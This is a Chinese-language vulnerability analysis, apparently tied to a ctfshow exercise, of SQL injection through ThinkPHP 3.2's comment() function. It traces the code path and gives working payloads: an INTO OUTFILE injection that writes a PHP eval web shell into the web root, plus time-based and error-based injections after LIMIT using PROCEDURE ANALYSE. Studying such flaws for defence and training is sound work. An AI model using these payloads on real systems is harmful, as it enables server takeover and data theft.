ThinkPHP v3.2 comment 注释注入 写shell

漏洞详情

comment函数是用来进行查询注释功能，当执行sql语句时，搭配comment可能存在利用注释进行写shell或者时间盲注

漏洞复现

控制器写入demo

$user = M('Users')->comment($id)->find(intval($id));

payload

?id=1*/ into outfile "/var/www/html/3.php" LINES STARTING BY '<?php eval($_POST[0]);?>'/*

漏洞分析

首先看一下函数调用栈

开始跟进调试

跟进comment函数

给$options加上comment就是我们传入的东西

中间过程同thinkphp 3.2.3find 注入过程分析相同，往下走到这里select方法

跟进，对$options中的model和bind进行操作，不影响

跟进buildSelectSql()开始构建sql语句

跟进parseSql()
分析$options中的comment

跟进

我们传入的comment被加入到注释中，可以通过闭合前后注释进行注入

先尝试一下

构造的sql语句注入点在LIMIT 1 后面的地方，也就是说

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT [注入点]

那么怎么利用这一点？

堆叠时间盲注

本地测试可以尝试堆叠注入方式来进行时间盲注

1*/;select if(substr(database(),1,1)='s',sleep(3),0)/*

ctfshow 题目环境下

LIMIT后 注入方法

Mysql下Limit注入方法 | 离别歌 (leavesongs.com)

Mysql注入点在limit关键字后面的利用方法 - 那天ws

此方法适用于MySQL 5.x中，在 limit语句后面的注入

首先查看 select 用法

SELECT
    [ALL | DISTINCT | DISTINCTROW ]
      [HIGH_PRIORITY]
      [STRAIGHT_JOIN]
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
    select_expr [, select_expr ...]
    [FROM table_references
    [WHERE where_condition]
    [GROUP BY {col_name | expr | position}
      [ASC | DESC], ... [WITH ROLLUP]]
    [HAVING where_condition]
    [ORDER BY {col_name | expr | position}
      [ASC | DESC], ...]
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]   //这里
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE 'file_name' export_options
      | INTO DUMPFILE 'file_name'
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]

根据文章 有 两种方式
limit 关键字后面还有 PROCEDURE 和 INTO 关键字，INTO 关键字在有写权限可以用来写文件，这里看一下 PROCEDURE 关键字.MySQL默认可用的存储过程只有 ANALYSE (doc)

PROCEDURE

报错注入，payload

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
 
ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

时间盲注

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

INTO

尝试利用 into outfile 写shell 虽然dumpfile也可以写文件但是因为 dumpfile 后面没有附加参数(export_options) 这点是 into outfile 利用的关键

看一下后面的参数

SELECT ... INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        [export_options]

export_options:
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']//分隔符
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]

OPTION 参数为可选参数选项，其可能的取值有：

`FIELDS TERMINATED BY '字符串'`：设置字符串为字段之间的分隔符，可以为单个或多个字符。默认值是“\t”。

`FIELDS ENCLOSED BY '字符'`：设置字符来括住字段的值，只能为单个字符。默认情况下不使用任何符号。

`FIELDS OPTIONALLY ENCLOSED BY '字符'`：设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。

`FIELDS ESCAPED BY '字符'`：设置转义字符，只能为单个字符。默认值为“\”。

`LINES STARTING BY '字符串'`：设置每行数据开头的字符，可以为单个或多个字符。默认情况下不使用任何字符。

`LINES TERMINATED BY '字符串'`：设置每行数据结尾的字符，可以为单个或多个字符。默认值是“\n”。

给出payload

/?id=1*/ into outfile "/var/www/html/3.php" LINES STARTING BY '<?php eval($_POST[0]);?>'/*